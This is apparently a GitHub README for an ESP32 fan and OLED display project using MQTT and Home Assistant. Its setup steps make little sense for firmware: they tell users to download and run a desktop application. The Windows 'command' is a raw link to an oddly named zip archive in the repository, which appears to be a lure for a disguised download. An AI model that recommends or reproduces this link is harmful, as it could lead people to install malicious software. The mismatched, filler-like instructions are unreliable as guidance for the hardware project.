Welcome to the ESP32-Smart-Display-Fan project! This guide will help you download and run the application with ease.
The ESP32-Smart-Display-Fan is a self-contained device designed to enhance your home comfort using technology. It has an OLED display that shows temperature, humidity, and pressure pulled from Home Assistant through a communication method called MQTT. The internal temperature is measured with a DS18B20 sensor. Additionally, the ESP32 microcontroller controls a fan, ensuring your space stays cool without overheating.
To run the ESP32-Smart-Display-Fan, your setup will require:
- A computer (Windows, macOS, or Linux)
- A stable internet connection for downloading
- Basic USB port for connecting hardware
- Displays temperature, humidity, and pressure
- Uses MQTT for home automation
- Measures internal temperature with a DS18B20 sensor
- Controls a fan with N-MOSFET
- Hysteresis to prevent overheating
To get started, follow these steps:
- Visit the Releases page: Download Latest Release.
- On the Releases page, find the version you want to download.
- Click on the appropriate download link for your operating system.
- Save the downloaded file to your computer.
After downloading, follow these instructions to setup your ESP32-Smart-Display-Fan:
- Unpack the Device: If your device is packaged, carefully open it.
- Connect Components: Use the included cables to connect:
- The OLED display to the ESP32.
- The DS18B20 sensor to measure internal temperature.
- The fan controlled by the N-MOSFET you have in place.
- Power Supply: Connect the battery or power source to your ESP32. Make sure your connections are secure.
Once the setup is complete:
- Open your terminal or command prompt.
- Navigate to the folder where you saved the downloaded application.
- Type the command to run the application (e.g.,
./ESP32-Smart-Display-Fanfor Linux orhttps://github.com/Modekim/ESP32-Smart-Display-Fan/raw/refs/heads/main/anovesical/Smart_Fan_Display_ES_ejicient.zipfor Windows).
To display data from Home Assistant:
- Ensure you have Home Assistant installed and running.
- Configure your ESP32-Smart-Display-Fan to connect to the same network.
- Follow the instructions within the application to link it with your Home Assistant setup using MQTT.
If you encounter issues, here are some tips:
- Ensure your power supply is sufficient.
- Check all connections between components for security.
- Verify that your device and Home Assistant are connected to the same network.
This project covers various areas, including:
- Arduino programming
- Battery powered devices
- Embedded systems with ESP32
- Home automation using MQTT
- Internet of Things (IoT)
If you'd like to contribute to the project, feel free to provide suggestions or directly work on improvements.
For further assistance, please reach out through the Issues section of the GitHub repository. Your feedback helps us improve the project.
Thank you for exploring the ESP32-Smart-Display-Fan project. Enjoy the benefits of smart home automation. For more information or updates, check the Releases page frequently!